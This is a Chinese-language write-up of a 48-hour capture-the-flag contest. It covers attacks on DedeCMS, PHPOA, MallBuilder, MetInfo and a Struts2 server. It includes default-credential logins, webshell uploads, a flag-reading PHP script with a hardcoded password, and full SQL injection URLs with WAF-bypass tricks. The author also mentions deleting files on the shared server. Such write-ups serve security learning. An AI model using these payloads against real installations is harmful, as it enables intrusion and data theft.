《安全智库》:48H急速夺旗大战通关writeup(通关策略)
作者:ByStudent
题目名字 | 题目分值 | 地址 |
MallBuilder2 | 350 | mall.anquanbao.com.cn |
MallBuilder1 | 200 | mall.anquanbao.com.cn |
DedeCMS2 | 300 | cms.anquanbao.com.cn |
DedeCMS1 | 200 | cms.anquanbao.com.cn |
MetInfo2 | 300 | info.anquanbao.com.cn |
MetInfo1 | 200 | info.anquanbao.com.cn |
PHPOA2 | 200 | oa.anquanbao.com.cn |
PHPOA1 | 150 | oa.anquanbao.com.cn |
BugScan1 | 500 | scan.anquanbao.com.cn |
0x01 DedeCMS
首先看到了织梦,直接admin 123456登录进去,发现左侧是空白的。
通过文件直接访问文件管理器。
/dede/file_manage_main.php?activepath=/uploads
在根目录下找到第一个flag,然后发现别人都瞬间750分了,然后挨个看了下flag.txt,拿到三个flag。
上传之类的都不行,直接写个pht秒之。但是服务器特别的卡,也是醉了,一句话连不上,上了个大马,然后找数据库配置文件,找到后发现不可读。正卡着的时候发现flag.txt被删了,后台密码也被改了,所以啊,就改了后台,删了好多重要文件。
最后竟然发现文件都是777,然后把config改成了.txt,然后就读到了配置文件。
不过waf甚为强大。。
可以登录数据库,可以看到表dede_flag,但是就是没法读取数据,索性写一个php文件读算了。。
0x02 PHPOA
这个乌云有案例,带脚本,任意文件上传。直接传个大马,这个数据库是可以直接读的,读到之后再写个php文件读取数据库中的flag。
案例传送门:
http://www.wooyun.org/bugs/wooyun-2010-163275
但是现在(写writeup的时候)上面的方法已经不能用了,很多东西都过滤了,不过可以传一个一句话,然后post这样读。。
然后写文件读取flag。
Getflag.php
<?php
$con = mysql_connect("localhost","root","2c2984bg");
$db_selected = mysql_selecst_db("flag",$con);
$sql = "SELECT * from flag";
$result = mysql_query($sql,$con);
while ($row = mysql_fetch_array($result)) {
var_dump($row);
}
mysql_free_result($result);
mysql_close($con);
?>
0x03 MallBuilder
flag.txt这时候不能访问了,访问就405,随便加个post就绕过了。
乌云搜了下,搜到了MallBuilder 参数 brand 注入漏洞。
http://www.wooyun.org/bugs/wooyun-2010-0176842
但是只能读文件,怎么也绕不过waf,安全宝很强悍啊,什么都405。
然后又搜到了一篇文章,用小数去绕过空格。
http://wooyun.org/bugs/wooyun-2010-0157857
http://mall.anquanbao.com.cn/?orderby=1&s=list&m=product&brand=x'and 1=2.11111Order by 44%23
终极Payload
http://mall.anquanbao.com.cn/?orderby=1&s=list&m=product&brand=x'and 1=2.2Union%0aSELECT%0a 1,2,3,4,5,(select name fromflag),7,8,9,10,user(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23
0x04 MetInfo
MetInfo 5.2.4,这个也是乌云案例:MetInfo最新版(5.2.4)一处SQL盲注漏洞
http://www.wooyun.org/bugs/wooyun-2014-055338
这个最简单的方法,直接把表名改成flag,然后会下载一个excel表格,打开就是flag,因为flag被设置成了表名……Orz
http://info.anquanbao.com.cn//admin/content/feedback/export.php?met_parameter_1=flag--;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
0x05 BugScan
这个首先随便试了下,Tomcat/7.0.68 。找到了这个:
http://scan.anquanbao.com.cn/memoedit.action
猜测是Struts2,用工具试了下,确实存在S2-032,然而waf却拦截了命令执行。
试了好多种绕过的方法都绕不过去,无论什么都拦截,也是奇葩啊,最后无奈了,还是用最传统的方法:超长URL绕过去了,100w+。flag在根目录下。
©本文章为《安全智库》的原创作者投稿,转载请注明版权。
http://mp.weixin.qq.com/s?__biz=MzI0NjQxODg0Ng==&mid=2247483766&idx=1&sn=1083cb1be8ffd25e052fb3510ad39918&scene=22&srcid=0616gCOUnR1mvvbZrLKKvTtP#rd
看不到图片的看原文吧,图片懒得加了,只是借鉴一下CTF的思路